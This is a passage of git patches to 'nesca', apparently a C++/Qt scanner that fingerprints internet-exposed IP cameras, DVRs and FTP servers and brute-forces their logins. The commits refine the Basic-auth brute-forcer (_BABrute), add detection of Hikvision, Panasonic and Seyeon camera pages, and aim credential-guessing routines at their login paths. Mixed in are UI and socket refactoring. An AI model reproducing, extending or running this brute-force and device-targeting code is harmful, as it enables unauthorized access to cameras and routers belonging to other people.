QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); }; - return 0; + return -2; } else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) { @@ -2270,17 +2286,25 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = port; strcpy(ps->ip, ip); - return ls->flag; + return -2; }; if(ls->flag == 6) { ps->flag = ls->flag; ps->port = tempPort; - return ls->flag; + return -2; }; strcat(ps->headr, "->"); strcat(ps->headr, GetTitle(cstr.lowerBuff)); - ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete[]cstr.lowerBuff; + + return -1; + }; ps->port = tempPort; if(strlen(cstr.lowerBuff) < 1) { @@ -2301,7 +2325,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ls->flag = -1; if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); }; - return 0; + return -2; } else if(strlen(str) > 2) { @@ -2343,6 +2367,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -1; }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { @@ -2353,13 +2378,14 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = port; strcpy(ps->ip, ip); - return ls->flag; + return -2; }; + if(ls->flag == 6) { ps->flag = ls->flag; ps->port = tempPort; - return ls->flag; + return -2; }; strcat(ps->headr, " -> "); strcat(ps->headr, GetTitle(cstr.lowerBuff)); @@ -2385,7 +2411,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ls->flag = -1; if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); }; - return 0; + return -2; }; return -1; @@ -2655,8 +2681,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); - }; + return redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + } return -1; return -2; }; }; @@ -2680,8 +2706,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); - }; + return redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + } return -1; return -2; }; }; @@ -2744,8 +2770,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); - }; + return redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); + } return -1; strcat(ps->headr, " "); return -2; }; @@ -2840,8 +2866,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); - }; + return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); + } return -1; }; delete []scriptContainer; if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12 @@ -2954,8 +2980,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff); - }; + return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff); + } return -1; } else { @@ -3023,8 +3049,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) { redirStrLst->push_back(redirStr); - redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff); - }; + return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff); + } return -1; return -2; }; } From a6803828be8d0b06c9c8dbce00537fdecb9261f9 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 1 Mar 2015 15:01:24 +0300 Subject: [PATCH 19/66] BA fix + QoS fix. --- connector.cpp | 18 ++++++++++------- finder.cpp | 2 +- nesca_3.cpp | 55 ++++++++++++++++++++++++++++----------------------- nesca_3.ui | 2 +- 4 files changed, 43 insertions(+), 34 deletions(-) diff --git a/connector.cpp b/connector.cpp index 3ec13a5..10a68c2 100644 --- a/connector.cpp +++ b/connector.cpp @@ -754,7 +754,11 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcpy(localBuff, recvBuff); }; if (strstri(recvBuff, "http/1.1 401") != NULL - || strstri(recvBuff, "http/1.0 401") != NULL) + || strstri(recvBuff, "http/1.0 401") != NULL + || (strstri(recvBuff, "200 ok") != NULL + && strstri(recvBuff, "<statusValue>401</statusValue>") != NULL + && strstri(recvBuff, "<statusString>Unauthorized</statusString>") != NULL) + ) { Sleep(200); } else @@ -808,10 +812,10 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) ) && strstri(recvBuff, "http/1.1 401 ") == NULL && strstri(recvBuff, "http/1.0 401 ") == NULL - && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL - && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL - && strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL - && strstr(headerMsg, "Неправильны") == NULL + && strstri(recvBuff, "<statusValue>401</statusValue>") == NULL + && strstri(recvBuff, "<statusString>Unauthorized</statusString>") == NULL + && strstri(recvBuff, "неправильны") == NULL + && strstri(recvBuff, "Неправильны") == NULL && dataSz > 13 ) { @@ -834,8 +838,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) } else { - if (strstri(headerMsg, "неправильны") == NULL - && strstri(headerMsg, "Неправильны") == NULL) + if (strstri(recvBuff, "неправильны") == NULL + && strstri(recvBuff, "Неправильны") == NULL) { ZeroMemory(pass, sizeof(pass)); sprintf(pass, "%s - Password found: %s", ip, tPass); diff --git a/finder.cpp b/finder.cpp index 11df404..862c71e 100644 --- a/finder.cpp +++ b/finder.cpp @@ -2505,7 +2505,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int ) { strcpy(dataBuff, "/"); - strncat(dataBuff, tempBuff + 1, sz - 1); + strncat(dataBuff, tempBuff, sz); } else strncpy(dataBuff, tempBuff, sz); }; diff --git a/nesca_3.cpp b/nesca_3.cpp index 74b78f5..206589a 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -180,13 +180,15 @@ void setSceneArea() ui->graphicsVoice->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); ui->graphicsVoice->setRenderHints(QPainter::TextAntialiasing); ui->graphicsVoice->setCacheMode(QGraphicsView::CacheNone); - ui->graphicsVoice->raise(); sceneGrid = new QGraphicsScene(); sceneGrid2 = new QGraphicsScene(); sceneGraph = new QGraphicsScene(); sceneUpper = new QGraphicsScene(); + sceneUpper->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height()); + sceneGrid->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height()); + sceneActivity = new QGraphicsScene(); sceneActivityGrid = new QGraphicsScene(); sceneTextPlacer = new QGraphicsScene(); @@ -1916,14 +1918,13 @@ void nesca_3::slotSaveImage(QAction *qwe) { QObject *smB = this->sender(); int ci = ui->tabMainWidget->currentIndex(); - QDate QD = QDate::currentDate(); QTime QT = QTime::currentTime(); if(smB == menuPS) { if(ME2ScanFlag || VoiceScanFlag) { - QString fn = QString::number(QD.day()) + "." + QString::number(QD.month()) + "." + QString::number(QD.year()) + "-h" + QString::number(QT.hour()) + ".m" + QString::number(QT.minute()) + "_" + (ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" + (ci == 0 ? ui->lineEditStartIPDNS->text() : ui->ipLine->text()) + ".png"; + QString fn = QString::number(QT.msec()) + "_" + (ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png"; int ax = 27; int ay = 2; int w = ui->graphicLog->width() + 30; @@ -1933,6 +1934,7 @@ void nesca_3::slotSaveImage(QAction *qwe) int spY = 108; int wsp = 40; int hsp = 70; + if(VoiceScanFlag) { hOffset = -60; @@ -1941,10 +1943,10 @@ void nesca_3::slotSaveImage(QAction *qwe) wsp = 0; hsp = -3; }; - QImage image(ui->graphicTextPlacer->width() + 5, ui->graphicTextPlacer->height() + hOffset, QImage::Format_RGB32); - QPainter painter(&image); - image.fill(NULL); - image.fill(QColor(0,0,0)); + + QPixmap pixmap(ui->graphicTextPlacer->width() + 5, ui->graphicTextPlacer->height() + hOffset); + QPainter painter(&pixmap); + pixmap.fill(QColor(0, 0, 0)); sceneTextPlacer->render(&painter, QRect(spX, spY, w + wsp, h + hsp)); sceneUpper->render(&painter, QRect(ax, ay, w, h)); sceneVoice->render(&painter, QRect(ax, ay, w, h)); @@ -1957,32 +1959,35 @@ void nesca_3::slotSaveImage(QAction *qwe) tr("Save image"), QDir::currentPath() + "/" + fn, ".png", - (QString *)"*.png" + (QString*)&tr("*.png") ); - if(filename != "") image.save(filename + ".png"); + if (filename != "") pixmap.save(filename); } else { - QString fn = QString::number(QD.day()) + "." + QString::number(QD.month()) + "." + QString::number(QD.year()) + "-h" + QString::number(QT.hour()) + ".m" + QString::number(QT.minute()) + "_" + (PieStatFlag ? "PieStat" : "QOS") + "_"+ (ci == 0 ? ui->lineEditStartIPDNS->text() : ui->ipLine->text()) + ".png"; - QImage image(ui->graphicLog->width(), ui->graphicLog->height(), QImage::Format_ARGB32_Premultiplied); - QPainter painter(&image); - image.fill(NULL); - image.fill(QColor(0,0,0)); + QString fn = QString::number(QT.msec()) + "_" + (PieStatFlag ? "PieStat" : "QOS") + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png"; + + QPixmap pixmap(ui->graphicLog->width(), ui->graphicLog->height()); + QPainter painter(&pixmap); + pixmap.fill(Qt::black); + + sceneGrid->render(&painter); + sceneGrid2->render(&painter); + sceneGrid2->render(&painter); sceneUpper->render(&painter); sceneVoice->render(&painter); sceneGraph->render(&painter); - sceneGrid->render(&painter); - sceneGrid2->render(&painter); - - QString filename = QFileDialog::getSaveFileName( - this, - tr("Save image"), - QDir::currentPath() + "/" + fn, - ".png", - (QString *)"*.png" - ); - if(filename != "") image.save(filename + ".png"); + painter.end(); + + QString filename = QFileDialog::getSaveFileName( + this, + tr("Save image"), + QDir::currentPath() + "/" + fn, + ".png", + (QString*)&tr("*.png") + ); + if (filename != "") pixmap.save(filename); }; }; } diff --git a/nesca_3.ui b/nesca_3.ui index e764841..86349b1 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -1228,7 +1228,7 @@ border-radius: 3px;</string> <string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string> </property> <property name="text"> - <string>ms</string> + <string>sec</string> </property> </widget> <widget class="QLineEdit" name="threadDelayBox"> From d23fe1b6716e51a0855717baa78c53e5bb79f554 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 1 Mar 2015 15:49:55 +0300 Subject: [PATCH 20/66] Fake 404 fix. --- connector.cpp | 3 ++- finder.cpp | 9 +++++---- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/connector.cpp b/connector.cpp index 10a68c2..2b9879c 100644 --- a/connector.cpp +++ b/connector.cpp @@ -800,7 +800,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) { if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); - stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); + if (i > 0 || j > 0) stt->doEmitionYellowFoundData("[?] Unexpected 404. Check <u>" + QString(ip) + ":" + QString::number(port) + " l/p:" + QString(tPass) + "</u> manually. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); + else stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); isActive = 0; strcpy(lps.login, "UNKNOWN"); diff --git a/finder.cpp b/finder.cpp index 862c71e..940d657 100644 --- a/finder.cpp +++ b/finder.cpp @@ -307,7 +307,7 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - + if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL @@ -372,10 +372,11 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) - || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam + || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam @@ -395,7 +396,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || (strstr(buffcpy, "220 ftp server ready") != NULL) @@ -1807,7 +1808,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 44) //Hikvision ip cam 2 { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd, ""); } else if(flag == 45) //Panasonic ip cam { From 087689da5d3567935910f56a9ce3aff219546f9e Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 1 Mar 2015 16:09:55 +0300 Subject: [PATCH 21/66] Camera detection improvement. --- finder.cpp | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/finder.cpp b/finder.cpp index 940d657..6b61604 100644 --- a/finder.cpp +++ b/finder.cpp @@ -307,7 +307,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - + if (strstr(buffcpy, "flexwatch") != NULL && strstr(buffcpy, "/app/multi/single.asp") != NULL) return 50; //Network Video System + if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL @@ -396,7 +397,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - + if (strstr(buffcpy, "flexwatch") != NULL && strstr(buffcpy, "/app/multi/single.asp") != NULL) return 50; //Network Video System + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || (strstr(buffcpy, "220 ftp server ready") != NULL) @@ -1825,10 +1827,14 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * else if(flag == 48) //ipCAM { _specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "Web Authorization", cp, recd, "IPCAM"); - } - else if(flag == 49) //IEORFOREFOX + } + else if (flag == 49) //IEORFOREFOX { - _specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, recd, "IEORFOREFOX"); + _specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, recd, "IEORFOREFOX"); + } + else if (flag == 50) //IP Camera + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 20) //AXIS Camera { From 3afd6fc3ee44561ca2f4954a8b3ec29ed209423f Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 1 Mar 2015 16:33:26 +0300 Subject: [PATCH 22/66] -//- --- finder.cpp | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/finder.cpp b/finder.cpp index 6b61604..2345673 100644 --- a/finder.cpp +++ b/finder.cpp @@ -307,7 +307,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - if (strstr(buffcpy, "flexwatch") != NULL && strstr(buffcpy, "/app/multi/single.asp") != NULL) return 50; //Network Video System + if (strstr(buffcpy, "seyeon") != NULL && (strstr(buffcpy, "/app/multi/single.asp") != NULL + || strstr(buffcpy, "/app/live/sim/single.asp") != NULL)) return 50; //Network Video System if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL @@ -397,7 +398,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - if (strstr(buffcpy, "flexwatch") != NULL && strstr(buffcpy, "/app/multi/single.asp") != NULL) return 50; //Network Video System + if (strstr(buffcpy, "seyeon") != NULL && (strstr(buffcpy, "/app/multi/single.asp") != NULL + || strstr(buffcpy, "/app/live/sim/single.asp") != NULL)) return 50; //Network Video System if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || @@ -1834,7 +1836,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if (flag == 50) //IP Camera { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd, ""); } else if(flag == 20) //AXIS Camera { From e151f702c41d00b3c2cc88c4315ca10769cf3f52 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 2 Mar 2015 17:27:38 +0300 Subject: [PATCH 23/66] refactoring + curl --- CheckKey_Th.cpp | 16 +-- DrawerTh_ME2Scanner.cpp | 12 ++- connector.cpp | 221 +++++++++++++++++++++++----------------- externFunctions.h | 3 +- finder.cpp | 110 ++++++++++---------- mainResources.h | 12 ++- nesca.pro | 2 + nesca_3.cpp | 95 ++++++++++++----- nesca_startModule.cpp | 22 ++-- 9 files changed, 287 insertions(+), 206 deletions(-) diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index 35b7fd7..0610462 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -8,10 +8,10 @@ void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) { ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); + char *ptr1 = strstri((const char*)src, startStr); if(ptr1 != NULL) { - char *ptr2 = strstri(ptr1, endStr); + char *ptr2 = strstri((const char*)ptr1, endStr); if(ptr2 != NULL) { int szStartStr = strlen(startStr); @@ -23,10 +23,10 @@ void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) { ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); + char *ptr1 = strstri((const char*)src, startStr); if(ptr1 != NULL) { - char *ptr2 = strstri(ptr1, endStr); + char *ptr2 = strstri((const char*)ptr1, endStr); if(ptr2 != NULL) { int sz = ptr2 - ptr1; @@ -117,10 +117,10 @@ int KeyCheckerMain() if(strstr(msg, "http://") != NULL) { t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + if(strstr((char*)(t1 + 7), "/") != NULL) { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); + t2 = strstr((char*)(t1 + 7), "/"); + int ln = t2 - t1 - 7; if(ln > 64) { stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); @@ -128,7 +128,7 @@ int KeyCheckerMain() return -1; } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + else strncpy(ndbServer, (char*)(t1 + 7), ln); if(strlen(t2) > 64) diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index 405d0c2..349af92 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -5,12 +5,13 @@ void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() { emit dtME2->sDrawTextPlacers(); -}; +} void DrawerTh_ME2Scanner::doEmitionAddPolyLine() { emit dtME2->sAddPolyLine(); -}; +} + void MakePolygonLine(int gWidth) { vect.clear(); @@ -120,7 +121,8 @@ void MakePolygonLine(int gWidth) Alive = 0; Susp = 0; vect.append(QPointF(gWidth, 20)); -}; +} + void DrawerTh_ME2Scanner::run() { int gWidth = ui->graphicLog->width(); @@ -144,6 +146,6 @@ void DrawerTh_ME2Scanner::run() Alive = 0; Susp = 0; }; - msleep(150); + msleep(120); }; -}; \ No newline at end of file +} diff --git a/connector.cpp b/connector.cpp index 2b9879c..358cdca 100644 --- a/connector.cpp +++ b/connector.cpp @@ -86,9 +86,8 @@ void _DebugWriteHTMLToFile(char *request, char *buff) unsigned char tl(unsigned char d) { if(d >= 192 && d <= 223) - { - unsigned char y = d + 32; - return y; + { + return (unsigned char)(d + 32); } else { @@ -124,29 +123,45 @@ int recvWT( std::string toLowerStr(const char *str) { - int tsz = strlen(str); - if(tsz == 1) - { - if(str[0] == 10) return "[No data!]"; - else return str; - } - else if(tsz > 1) - { - char * strr = new char[tsz+1]; - ZeroMemory(strr, tsz); + if(str != NULL) { + int tsz = strlen(str); + char *strr = new char[tsz+1]; + ZeroMemory(strr, tsz); - for (int i = 0; i < tsz; i++) - { - strr[i] = tl(str[i]); - }; + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; - memset(strr + tsz, '\0', 1); + memset(strr + tsz, '\0', 1); - std::string tstr = strr; - delete []strr; - return tstr; - }; - return ""; + std::string tstr = std::string(strr); + delete []strr; + return tstr; + } else return ""; + +// if(tsz == 1) +// { +// if(str[0] == 10) return "[No data!]"; +// else return str; +// } +// else if(tsz > 1) +// { +// char * strr = new char[tsz+1]; +// ZeroMemory(strr, tsz); + +// for (int i = 0; i < tsz; i++) +// { +// strr[i] = tl(str[i]); +// }; + +// memset(strr + tsz, '\0', 1); + +// std::string tstr = strr; +// delete []strr; +// return tstr; +// }; +// return ""; } int OpenConnection(SOCKET *sock, const char *hostname, int port) @@ -1506,9 +1521,9 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); #else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); #endif - else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else { ++offlines; @@ -1528,18 +1543,18 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) u_long FAR cmd = 1; - if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) + if( ioctlsocket( sock, FIONBIO, &cmd ) != 0 ) #else - if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) + if( fcntl( sock, F_SETFL, O_NDELAY ) == -1 ) #endif - { - stt->doEmitionRedFoundData("[FIONBIO failed]"); - }; + { + stt->doEmitionRedFoundData("[FIONBIO failed]"); + }; int recvBuffSize = 0; - linger.l_onoff = 1; - linger.l_linger = 5; - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); while(sock == INVALID_SOCKET) @@ -1555,15 +1570,18 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C if(iResult == SOCKET_ERROR) { iError = WSAGetLastError(); - if (iError == WSAEWOULDBLOCK) - { - fd_set read_fs; + if (iError == WSAEWOULDBLOCK || iError == WSAEINPROGRESS) + { + fd_set read_fs; + fd_set write_fs; FD_ZERO(&read_fs); - FD_SET(sock, &read_fs); + FD_ZERO(&write_fs); + FD_SET(sock, &read_fs); + FD_SET(sock, &write_fs); timeval tv = { gTimeOut, 0 }; int oldErr = WSAGetLastError(); - iResult = select(sock + 1, NULL, &read_fs, NULL, &tv); + iResult = select(sock + 1, &read_fs, &write_fs, NULL, &tv); if (iResult == SOCKET_ERROR) { @@ -1575,7 +1593,10 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C } else { - if (!iResult) ++offlines; + if (!iResult) { + ++offlines; + stt->doEmitionFoundData(QString::number(WSAGetLastError())); + } else { int sResult = send(sock, request, strlen(request), 0); @@ -1686,9 +1707,9 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C } else { - stt->doEmitionRedFoundData("[?!] Strange behavior detected - " + + stt->doEmitionRedFoundData("[?!] Strange behavior detected (" + QString::number(WSAGetLastError()) + - " - " + QString(ip) + ":" + QString::number(port)); + ") " + QString(ip) + ":" + QString::number(port)); }; CSSOCKET(sock); @@ -1722,7 +1743,6 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C }; } -#pragma region WF 